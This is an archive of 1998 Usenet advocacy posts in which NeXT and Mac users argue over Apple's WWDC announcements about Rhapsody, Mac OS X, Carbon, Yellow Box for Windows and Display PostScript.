References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu> <see-below-1405980102500001@209.24.241.190> <355af407.0@206.25.228.5> <rmcassid-1405981211310001@dante.eng.uci.edu> <355C3733.BC879B06@milestonerdl.com> <6jhp1e$ab8$1@crib.bevc.blacksburg.va.us> <355C612F.F0CCCEEC@milestonerdl.com>
M Rassbach wrote:
> Unix supported/hooks are there and NOT no-unix-in-MacOS X.
>
> If there are questions, that's because it's not clear. It would be nice
> to have Apple clarify the mixed-up message.
www.developer.com/calendar/minisites/wwdc98/131corOSarch/sld024.htm
www.developer.com/calendar/minisites/wwdc98/131corOSarch/sld026.htm
How much clearer can you get?
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: Fri, 15 May 1998 14:40:23 -0500
Organization: KAOS
Message-ID: <19980515144023790395@sdn-ts-009txhousp03.dialsprint.net>
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk> <slrn6ljskk.p80.sal@panix3.panix.com> <3559F5D4.96E43F72@unet.univie.ac.at> <slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jdenk$53h$3@news.xmission.com> <355af7e5.0@206.25.228.5> <355B49C0.10D34097@unet.univie.ac.at> <355b5409.0@206.25.228.5> <19980515021824933964@sdn-ts-007txhousp10.dialsprint.net> <355BEF55.526C6527@unet.univie.ac.at>
Christian Benesch wrote:
> I wrote:
>
> > Couldn't a shareware author just assume the runtime is already installed
> > and dispense with the runtime and fee altogether? Or am I missing
> > something (likely, since no one else has suggested what strikes me as
> > obvious)?
>
> Well,actually that's exactly what I meant with marketing it as a plug-in and
> using a centralized licensing scheme.(See up-thread)
Sorry, I didn't mean to imply that no one had suggested good ideas for
dealing with the runtime fee. I was simply offering that the runtime
fee needn't affect shareware authors much at all. Is my foot still in
my mouth?
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Nobody's screwed! (was: Apple screws Rhapsody *and* Mac owners?)
Date: 15 May 1998 15:38:42 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6ji5k3$b3g$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <355B18A1.E7370B93@nospam.com> <6jfdos$7au$1@crib.bevc.blacksburg.va.us> <355CBCBB.F4AA99FB@nospam.com>
In article <355CBCBB.F4AA99FB@nospam.com>, Tim Triemstra <nospam@nospam.com> wrote:
> Nathan Urban wrote:
> > > It makes *everything* so much clearer since *noone* with switch to
> > > Rhapsody. It is a version of Unix for a company that has no Unix
> > > experience.
> > ???! Not only does Apple have Unix experience (A/UX and AIX), but their
> > whole Rhapsody development team was taken from NeXT, with over a decade
> > of solid Unix experience. Their VP of Software Engineering is from NeXT.
> And AIX or A/UX is going to convince a potential unix purchaser to by
> from Apple?
Did I say that? I was contesting the claim that Apple is "a company
that has no Unix experience".
Besides, there's NEXTSTEP too, and Rhapsody with significant Unix
enhancements over that.
> When a company says "we need Unix to do this" they don't
> look to Apple. When you consider this new Mac OS X plan, which seems to
> me to sound like "merge Rhapsody until Mac OS and get rid of a need for
> a Rhapsody stand-alone", why would a person that needs Unix features go
> to Apple instead of Sun, HP or Digital?
Because Apple has other NON-Unix features that Sun, HP, and Digital
does not. If Unix/X is the ONLY thing you care about, then there is no
reason to go with Apple. Apple is never going to make inroads with Unix
purists and it's not trying to.
> > How would Rhapsody "compete" with MacOS X??? Either way, Apple makes
> > a sale -- and if they sold Rhapsody as a separate product, would probably
> > make a higher margin on it by charging more for it. Rhapsody applications
> > will run on MacOS X. MacOS X apps would probably run on Rhapsody as well;
> > the Carbon demo we saw was running on Rhapsody.
> I would compete because an OS is a platform for applications. [...]
> Carbon is a good thing, but unless Apple backs off this
> "merging to carbon" strategy, rather than stating "carbon is a bridge
> until you convert to yellow box" then the two APIs are pitted against
> eachother in the minds of developers.
Everything I've heard from WWDC attendees says that Apple is pushing
Yellow Box for new applications.
> > > They are claiming that Rhapsody is a server platform: where's the RAID
> > > support?
> > Good question. Have they had a filesystem discussion at WWDC? It looks
> > like Rhapsody will have HFS+, anything they do for the OS X filesystem
> > would probably translate. (As you may have noticed, OS X and Rhapsody
> > are basically the same thing.)
> Once again, hardware is what makes a server at least as much as
> software. NeXT's and so far Apple's hardware support commitment for
> Intel is non-existant. Without the ability to run Rhapsody on a top-end
> Compaq Intel server, what new market does Apple want to get into?
You are somehow assuming that servers must be Intel boxes. Your point
is also rather irrelevant to the discussion at hand, which was RAID
support.
> > > Where's all the web servers?
> > Anything that runs on Unix should be portable to it.
> Doubtful without some work.
Why? Standard BSD stuff should work just fine, or at least be no worse
than, say, porting from FreeBSD to NetBSD.
> Who will work on it when Apple makes a Yellow app seem like a step-child to
> Carbon.
That's _your_ impression, not mine.
> People will want some sort of graphical display and no X server
> announcements have been made.
No, you're assuming that all the useful Unix stuff people might want to
use would require X. In fact, for many server purposes, X is irrelevant,
and I can think of a number of people who would want Unix CLI programs
without caring particularly much about X apps (myself included).
> Once
> again, if it is just pushed as a better Unix with a different shell and
> no hardware support they won't win many customers.
Sheesh. That's why they're not pushing it as that!
> > > Where's the printer drivers?
> > I dunno. Do you have a list of the printer drivers that will ship with
> > Rhapsody? I'm sure they're doing plenty of driver development, and
> > again, any OS X driver will likely work on Rhapsody -- they're both
> > going through Mach/BSD!
> Look into this some more, you are wrong from my NeXT / OpenStep
> experience. They put hard postscript and that worked "ok" for
> OpenStep. The NeXT driver situation was completely different than most
> *nix's. I have yet to see even preliminary hardware development kits
> for Rhapsody-Intel.
DriverKit, I/O Kit. I still don't understand your problem. OS X and
Rhapsody will have the same driver framework -- I/O Kit. (Well, for
all we know, OS X _is_ Rhapsody.)
> > Anyway, you usually don't do console printing from servers.
> Servers serve printers in a way that must be native to the clients.
> There must still be some work put into this.
Network printing works now in Rhapsody and will continue to work,
assuming there are printer drivers, and any printer driver that works on
an OS X client will work on the server.
> > > What will it serve and who will choose it instead of NT or straight Unix
> > > when it isn't marketed as a client (thereby no apps)?
> > See above about Rhapsody<->OS X apps.
> Hey, you're not paying attention to what I see as a problem. I know
> that OS X is supposed to run YB apps. But I don't think there will BE
> any Rhapsody apps if OS X apps (Carbon) are what is being promoted by
> Apple.
Apple is promoting Yellow Box, and surely you can see that they have
to ensure that the big names will make public commitments to their
OS strategy.
> Will we see a port of Navitgator to Yellow Box if the Carbon
> port is what Apple really wants?
Apple surely wants a Carbon port, but a Yellow-aware version is also
independently under way. In any case, you are missing the point:
no matter _how_ hard Apple pushes Yellow, they simply are not going to
make companies with huge code investments in the MacOS APIs port their
apps to Yellow. This is reality speaking. Apple can only convince
people writing _new_ code to use Yellow.
> > > I run NeXT in my
> > > office and it is a GREAT client. It does everything an NC is supposed
> > > to do. Yet they are "merging" it into Mac OS X and we'll never see
> > > decent Intel support.
> > Says who?
> I hae run NeXTSTEP since v3.0 here. The OpenStep 4.2 I installed the
> other day did not have much better support than 3.0. The Rhapsody DR1
> had _less_ support than OpenStep and their still isn't a driver kit.
You have read the I/O kit announcements on Stepwise, right?
> What motivation is their for Intel support of most apps are written in
> Carbon, and Apple has stated Carbon won't run on Intel.
That's assuming that most apps will always be in Carbon.
> "Yellow Box is the primary API for all future releases of the Mac OS and
> Rhapsody starting with Mac OS X. Carbon is a subset API to allow
> current Mac applications to be recompiled to perform as well as Yellow
> Box apps."
This sounds pretty much like what they've been telling developers from
what I've been hearing, but I haven't heard anything direct.
> Apple has instead said NOTHING about
> Yellow Box that has been encouraging for a long time
??? It sounds like you listened to the WWDC keynote on Monday and then
ignored the entire rest of the conference.
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Fri, 15 May 1998 14:40:51 -0500
Organization: KAOS
Message-ID: <19980515144051792066@sdn-ts-009txhousp03.dialsprint.net>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com> <3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com> <6jcc8t$479$1@crib.bevc.blacksburg.va.us> <3559AAE5.820270F0@milestonerdl.com> <6jcjqp$1cc$23@ironhorse.plsys.co.uk> <3559D08E.CC749854@milestonerdl.com> <6jfual$1cc$32@ironhorse.plsys.co.uk> <355C4B7B.33644A11@milestonerdl.com> <6jhoch$a7i$1@crib.bevc.blacksburg.va.us> <355C6315.B76259AA@milestonerdl.com>
M Rassbach wrote:
> I've been asking for clarification from Apple. Produce a URL, and I
> will [shut up].
You obviously think Apple's commitment to Intel platforms is paramount
and that they can't be trusted to follow through on this. I would
suggest that you therefore have no use for Apple, NeXT or this
newsgroup. I suspect the feeling is mutual and suggest you find a more
constructive use of your time than harassing the rest of us ad nauseum.
If it will make you feel better, come back when Apple has *officially*
and *definitively* killed all Yellow Box/Intel initiatives and proudly
proclaim, "I told you so." In the meantime, have a nice life.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: Fri, 15 May 1998 11:13:27 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355C69A7.E3E4751F@milestonerdl.com>
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk> <slrn6ljskk.p80.sal@panix3.panix.com> <3559F5D4.96E43F72@unet.univie.ac.at> <slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jdenk$53h$3@news.xmission.com> <355af7e5.0@206.25.228.5> <355B49C0.10D34097@unet.univie.ac.at> <355b5409.0@206.25.228.5> <19980515021824933964@sdn-ts-007txhousp10.dialsprint.net> <355BEF55.526C6527@unet.univie.ac.at> <geordie-1505981056320001@130.130.117.53>
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Geordie Korper wrote:
> I think it would probably be better to just go with the send in the coupon
> for a rebate.
Not a bad idea.....
> It should also be fairly easy
> to implement it in *addition* to other techniques such as licensing
> strings similar to the way Quicktime Pro is distributed.
This *IS* apple we are talking about....
http://www.turnleft.com/apple/
is a fine example of past coupon-things.
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Dumps Display Postscript in Rhapsody
Date: Fri, 15 May 1998 09:58:02 -0700
Organization: Trilithon Research and Trading
Message-ID: <355C741A.8769F71@trilithon.com>
References: <_La61.80$5g3.847607@news.rdc1.sfba.home.com> <3559E459.6B0178B4@trilithon.com>
<6jh0cf$1cc$37@ironhorse.plsys.co.uk> <6jhri6$c6u$2@diana.bcn.ibernet.es>
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Josep Egea i Sanchez wrote:
* If NXHost/NSHost goes away it will be -by far- the
* worst peace of news to arise from WWDC98 (IMHO, of
* course). It will be a HUGE step backward in one
* field where Rhapsody/MacOS X could be far better
* that Windows.
Cobblers.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Fri, 15 May 1998 11:20:34 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355C6B52.816B8599@milestonerdl.com>
References: <6jatq7$72e$1@xmission.xmission.com> <355B0318.2D119336@milestonerdl.com> <rmcassid-1405981158500001@dante.eng.uci.edu> <355C49C2.8D4B8434@milestonerdl.com> <6jhojs$a94$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> In article <355C49C2.8D4B8434@milestonerdl.com>, mark@milestonerdl.com wrote:
> > Damn straigh. But to say Apple has a future in a long-term cross-platform
> > plan, flies in the face of reality.
>
> We're all going to enjoy watching you eat those words. Immensely.
Then produce a URL with an offical Apple Statement. I'm hungry.
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Fri, 15 May 1998 14:41:07 -0500
Organization: KAOS
Message-ID: <19980515144107793038@sdn-ts-009txhousp03.dialsprint.net>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <zi461.1949$sy4.3542379@news.rdc1.sdca.home.com> <EsvxtF.7G0@micmac.com> <see-below-1305982328510001@209.24.241.190> <355B1D3F.27453C81@nospam.com> <6jfanm$73n$1@crib.bevc.blacksburg.va.us> <rex-1405981430100001@192.168.0.3> <6jferk$7e2$1@crib.bevc.blacksburg.va.us> <rex-1405981551520001@192.168.0.3> <6jfn43$7r8$1@crib.bevc.blacksburg.va.us> <B180C072-D5287@206.165.43.181> <19980515021826934065@sdn-ts-007txhousp10.dialsprint.net> <B1813BDB-72AAE@206.165.43.157>
Lawson English wrote:
> I said:
>
> >What makes you think that X is not a consumer-oriented OS?
>
> The fact that Steve Jobs said that there would be versions of MacOS 8
> around for some time to come and that he actually gave numbers to them like
> 8.5, 8.6, etc?
8.5 and 8.6 are due out *before* X. 9 is due out concurrently with X,
presumably to keep the installed base of pre-G3 owners happy (well, as
happy as they're gonna get under the circumstances). Has Jobs outlined
followups to 9 for pre-G3 owners? (I really don't know, though I
suspect there will be at least a 9.1 bugfix.) I think for all G3 and
later machines, X is it.
> The fact that the Yellow Box will NOT be available in MacOS 8.x?
I think this is a technology issue, not a marketing issue, though as far
as I know no one has said.
> The fact that there will be 3 APIs supported in MacOS X, making it even
> more bloated than Rhapsody in some ways?
This is a good point. Apple may have to start shipping more standard
RAM with their machines, not exactly unheard of in the industry.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: Nick Rezmerski <nick@bpsi.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 14:40:51 -0500
Organization: Orbis Internet Services
Message-ID: <Pine.GSO.3.96.980515143039.6790B-100000@ra.bpsi.net>
References: <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <B1800144-FB3B5@204.31.112.110> <355AD786.FD81A010@milestonerdl.com> <see-below-1405982138030001@209.24.240.162> <6jh0fi$1cc$38@ironhorse.plsys.co.uk>
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In-Reply-To: <6jh0fi$1cc$38@ironhorse.plsys.co.uk>
On 15 May 1998, mmalcolm crawford wrote:
> In <see-below-1405982138030001@209.24.240.162> Matthew Vaughan wrote:
> > In article <355AD786.FD81A010@milestonerdl.com>, mark@milestonerdl.com
> wrote:
> >
>
> > > but then what's the diff between Rhapsody/PPC and MacOS X?
> >
> > That's a good question, to which I don't know the answer.
> >
> Carbon APIs and the imaging model.
> (Along with various other enhancements, lime Mach 3 kernel, better BlueBox
> etc.)
It's hard for me to tell, since I don't know all the technical
details, but the impression I'm getting from Apple is that this
is a re-commitment to Apple hardware. Don't forget that when
Rhapsody was conceived, Apple was licensing clones and pushing
toward PPCP (CHRP) machines. Both of those roads are now closed,
and two quarters in the black is giving Apple back its traditional
overconfidence in the strength of its hardware/software combination.
While OS X sounds great to me in terms of features, it saddens
me a bit because I thought we were seeing a move toward truly
open systems and the use of emulation to support the environment
the user likes best. Now, since Apple is emboldened by its hot
G3 line, it looks like the only way I'll ever be able to use
MacOS is on an Apple box.
I wish I could find a _direct quote_ from Jobs or Apple about
whether OS X will definitely be G3-only or if that is yet to
be decided. I can't help but wonder how they would limit the
OS that way, since Motorola's specs say the 740/750 are
"software and bus compatible" with the 603/604 line.
Jobs' statement about "not supporting other platforms" with
OS X is frustrating, I can't seem to find out whether he means
non-G3 platforms, non-PPC platforms, non-Apple platforms, or what!
> Best wishes,
>
> mmalc.
Anxiously watching the Mac press,
- MFN
/** "Mighty Flying Nickster" HTML Coding/Graphics ***
*** Nicholas J. Rezmerski e-mail: nick@bpsi.net **/
Message-ID: <355C9C38.F8BACC40@unet.univie.ac.at>
Date: Fri, 15 May 1998 21:49:12 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <355B31C4.77DFDC17@spamtoNull.com> <joe.ragosta-1505981216270001@wil115.dol.net>
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Joe Ragosta wrote:
> In article <355B31C4.77DFDC17@spamtoNull.com>, Jonathan Harker
> <Limeyville@spamtoNull.com> wrote:
>
> > Mark me, Jobs has already started his decline at Apple. This bumble,
> > along with the iMac fiasco, will set the stage for Jobs' soon
> > retirement.
>
> But you've been saying for a year that Jobs was at unthinkably low levels.
> How's he going to decline?
>
> BTW, just which iMac fiasco are you referring to? All the _huge_ amount of
> positive press they've received?
>
> --
> Regards,
> Joe Ragosta
> http://www.dol.net/~Ragosta/complmac.htm
Probably one could argue over the design, but performance and price seem
pretty much ok.
It has potential.
Christian Benesch
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 15 May 1998 13:36:22 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jhuem$amd$1@crib.bevc.blacksburg.va.us>
References: <6jatq7$72e$1@xmission.xmission.com> <355C4B7B.33644A11@milestonerdl.com> <6jhoch$a7i$1@crib.bevc.blacksburg.va.us> <355C6315.B76259AA@milestonerdl.com>
In article <355C6315.B76259AA@milestonerdl.com>, mark@milestonerdl.com wrote:
> Nathan Urban wrote:
> > In article <355C4B7B.33644A11@milestonerdl.com>, mark@milestonerdl.com wrote:
> > > I have a BETTER idea....when you can produce a formal statement by Apple
> > > that NT 5.x/98 is part of their support plan, then I won't be able to comment
> > > on this, now will I?
> Where's the formal statement?
See the Stepwise article.
> > First, I'd like to reiterate my point that Apple spending all this
> > effort on YB/Windows only to drop it or stop keeping it up to date is
> > too ludicrous even for Apple, given their situation and their already-
> > proven willingness to make unpopular decisions that save them money and
> > developer time. And the point that "bait-and-switch" is completely
> > ridiculous, because people who choose YB/Windows are _not_ going to
> > choose MacOS/PPC if YB/Windows is taken away
> What logic. Reminds me of the logic that 'Apple won't cut the Newton,
> because they have alot of effort tied up in it."
No, that isn't logic. Because Apple has no reason to continue something
that is not going to make them a profit, no matter _how_ much effort is
tied up in it. If Apple thinks that YB/Windows is not going to be to
their advantage, they would have ditched it just like they've ditched
the Newton and _everything else_ that they think hurts their bottom line.
There is absolutely _zero_ reason for Apple to continue working on
YB/Windows at this point if it's not going to help them, and as I said,
given Jobs' proven willingness to cut _anything_ and _everything_ that
they don't want to do in the long term, it's insane to think that they're
going to ditch YB/Windows. As I said, the "bait-and-switch" `strategy'
makes _no_ sense, it is _not_ going to earn Apple money.
> > -- they are the ones who
> > use Windows because they have to. And the point that Apple's failure to
> > issue a press release on a given matter usually implies _nothing_,
> > given the past character of their PR efforts.
> And the converse is true with Apple. Saying they'd do something and then NOT
> delevering is in their past.
You're missing the point. If nothing that Apple says is to be trusted,
then what Apple says is _irrelevant_ and asking for a press release is
useless. So then you have to look at the situation and determine what
Apple's best interests are. And everything points toward YB/Windows
being in their best interests.
> > But anyway.. I've been carefully avoiding this in my responses to you in
> > the hopes that you would be dumb enough to take us up on that bet, but..
> Looks to me like you've been avoiding it because you can't produce any official
> statements by Apple about NT 5.X/98 support.
See the Stepwise article.
> > "One thing that I do want to note is that it was mentioned on several
> > occasions that Yellow Box for Windows is a long-term commitment, and
> > that it will run on Windows 98 and NT 5.0 (if it ever appears). I think
> > it was mentioned that DR2 runs on the current Windows 98 beta."
> Then produce who's said it and when.
Ask Scott. His e-mail address is sanguish@digifix.com.
Your paranoia is getting absurd to the point that you're just being
pedantic and petulant to keep you from having to admit you're wrong.
Scott's role at WWDC has been to report things that Apple representatives
have officially stated at WWDC, and _not_ to report rumors. Scott has
even had Apple employees personally take him aside and ask him to clarify
specific issues in his Stepwise reporting that may have been unclear in
the speeches, after people started to express confusion on some issues.
Look, there are two options here:
1. Someone from Apple said it in an official capacity at WWDC.
2. Scott is lying to you.
Now, of course, you can claim option 2, but your credibility is going
out the window.
> And when did Mr. Anguish become an Apple employee?
> I've been asking for clarification from Apple. Produce a URL, and I
> will.
I'm not going to bother arguing with you any more, it is utterly clear
that you're too foolish and naive to recognize what Apple's interests are,
and too immature to admit your error in the face of overwhelming evidence.
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 15 May 1998 19:54:05 GMT
Organization: Michigan State University
Message-ID: <6ji6gt$n8h$4@msunews.cl.msu.edu>
References: <6jgsjt$93u$1@crib.bevc.blacksburg.va.us> <1998051512561800.IAA17653@ladder01.news.aol.com>
<6jhne8$a2b$1@crib.bevc.blacksburg.va.us>
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Cc: nurban@crib.bevc.blacksburg.va.us
In <6jhne8$a2b$1@crib.bevc.blacksburg.va.us> Nathan Urban wrote:
> In article <1998051512561800.IAA17653@ladder01.news.aol.com>,
willadams@aol.com (WillAdams) wrote:
>
> > I think it's pretty pathetic as well in terms of the Macintosh
gaudiness which
> > is still left. Why can't they trash the trash can?
>
> > It looks to be configurable though, which is promising, but I think
it's
> > ridiculous to proliferate the UI elements as they have.
>
> > One of the most wonderful things about the NeXTstep UI was the
minimal number
> > of elements used in an orthogonal manner. [...]
>
> You're preaching to the choir, here.. :)
>
> > I begin to believe that I'll never purchase a new piece of software
or
> > hardware again.
>
> Wow, you guys are really tied to your UI!
Yeah but the look and feel of the GUI was one of the reasons I bought a
NeXT.
If I wanted a Mac I would have bought a Mac instead. The GUI is one
of the
reasons why all the Mac heads that saw my NeXT said - "that is cool".
I hope it's customizable but I doubt it.
I agree with John Kheit - blech, blah, yuck. I think NeXT has been
Applified
boo, hiss on the GUI. Will it sell to the Mac hoards - they'll
probably love it.
At least I hope so.
> UI is a big reason why I chose NEXTSTEP, but the technology
improvements
> in Rhapsody/OS X are enough that I'll switch anyway.
Well we'll keep looking at where this is all going. The whole DPS -
whatever
debacle and loss of NXHosting - will we be left with X? Somehow I
don't think
we'll get either easily.. I'm willing to be suprised though. At
least we still
have DPS and probably NXHosting in 1.0. That should be enough to
carry
us to the next great thing.
A sad day for the NeXTStep GUI designers.. Maybe Apple will get smart
and put the NeXTStep GUI back (new and improved) into the Rhapsody
Server. Problem is that DPS is going to be gone and Apple will want
to
maintain same component codebases for MacOS X and Rhapsody if they
can..
MIke P is notoriously silent on this so far. ;)
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 15 May 1998 19:46:58 GMT
Organization: P & L Systems
Message-ID: <6ji63i$1cc$48@ironhorse.plsys.co.uk>
References: <6jbg4l$qi3$2@canopus.cc.umanitoba.ca> <6jcn9b$6ns$2@msunews.cl.msu.edu>
<3559DA0F.8F00D835@milestonerdl.com> <6jd4f5$ehq$1@nnrp1.dejanews.com>
<355A171A.4F4F20C8@milestonerdl.com>
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Cc: mark@milestonerdl.com
In <355A171A.4F4F20C8@milestonerdl.com> M Rassbach wrote:
> Or, does Adobe know that YellowBox cross-platform is dead?
>
In what way is "YellowBox cross-platform is dead"?
I've stated elsewhere I'm willing to lay $100 on YB running on Win98 within a
year of it shipping.
Put up or shut up.
I'd offer the same for NT5, but who knows when that would ship. $100 may not
be worth fighting over by the time NT5 arrives.
mmalc.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 17:42:34 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jhuqb$k96$1@nnrp1.dejanews.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559E64B.A3A9AF2@spamtoNull.com> <6jd2q7$bs1$1@nnrp1.dejanews.com> <355B3753.87C5DDCA@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> spagiola@my-dejanews.com wrote:
> > All those who have been working their tails off to have Yellow-Box
> > apps ready will be able to ship when Rhapsody ships, ie next quarter.
> > Those who have to wait longer are those who have NOT done anything to
> > adapt their apps to Rhapsody. They get a bonus they had not
> > anticipated, since their apps will gain access to protected memory
> > and preemptive multitasking with a minimal effort. But they do have
> > to wait a little before this can happen.
>
> Great! The what can you tell me is *WRONG* with Rhapsody? What's so
> wrong with it that we have to hear *anything* about Mac OS 10 in 1999?
Nothing's wrong with Rhapsody per se. The problem is that Mac developers were
unwilling to commit to making the substantial effort that developing
Yellow-Box implies unless they were assured of its success. The Carbon scheme
lets them get most of Rhapsody's advantages with a much smaller investment.
> And what do you think this announcement will mean to Rhapsody sales and
> Rhapsody developers? Nothing?
Now that's a tough one to predict. If people realize that Rhapsody 1.0 is
really Mac OS X 0.9, then Rhapsody sales should do just fine (except for the
usual stigma about 1.0 products). Indeed, sales might be a lot better than
they might otherwise have been, since Mac OS X (ie Rhapsody + Carbon) is
likely to be much more attractive to people than Rhapsody without Carbon would
have been.
If people don't realize this and somehow think Rhapsody is an orphan product
rather than a stepping stone to Mac OS X, then sales will suffer.
Unfortunately, Apple's statements have been sufficiently confusing that the
latter is a strong possibility. We'll see.
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Alternatives to Adobe
Date: 15 May 1998 17:51:46 GMT
Organization: Idiom Communications
Message-ID: <6jhvbi$enf$1@news.idiom.com>
References: <6jhguk$526$3@news.idiom.com> <6jhior$njn@sjx-ixn10.ix.netcom.com>
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Cc: far_no@spam.ix.netcom.com
Felipe A. Rodriguez may or may not have said:
[snip]
-> >I criticise people and companies all the time for doiing things that are
-> >perfectly within their rights.
-> >
-> >-jcr.
->
->
-> I can sympathize with that, but if measured by the same criteria
-> then Apple is far worse than either Adobe or Alladin.
Apple's made some bad moves too, and I've lambasted them when I thought it
was warranted. I happen to be pretty happy with them these days, though.
The skills I've developed over the last seven years with NeXTSTEP and
OpenStep are still going to have a place, and that was much less likely
before the merger.
-jcr
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 17:50:07 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jhv8o$kno$1@nnrp1.dejanews.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559E64B.A3A9AF2@spamtoNull.com> <pulsar-ya02408000R1305981504530001@news-proxy.cso.uiuc.edu> <355B2F43.D365D2F1@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> With a fully functional, working blue box environment as originally
> described by Apple, there would have been no reason on earth why
> Rhapsody *couldn't* have done exactly that. That's the purpose of the
> 18-month delay and Carbon....blue box couldn't be made to perform as
> originally advertised.
There is no delay. Rhapsody 1.0 will ship in Q3, barely later than the
original schedule (remarkable for a project of this complexity). It will have
a well-functioning Blue Box.
It's not the technology of Blue Box that's at fault, it's the marketing
aspects. Mac OS apps will run just fine in Blue Box, but have zero
improvements over the current Mac OS apps. In contrast, Carbon apps will have
pre-emptive multitasking, memory protection, etc. This is substantially more
than the Blue Box ever promised. It's quite remarkable that Apple is able to
achieve this at all; it's not surprising that it should take them some time to
do so.
> Had blue box worked as advertised, there wouldn't have been a problem
> with legacy applications.
Once again, the Blue Box IS working as advertized. Your insistence
otherwise is beginning to sound increasingly as bad faith, rather than simple
mis-information. The problem wasn't that Blue Box didn't work as advertized,
its that what Blue Box offered (and is delivering) was insufficient in the
eyes of users and developers.
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Fri, 15 May 1998 12:04:03 -0500
Organization: Inc.Net http://www.inc.net
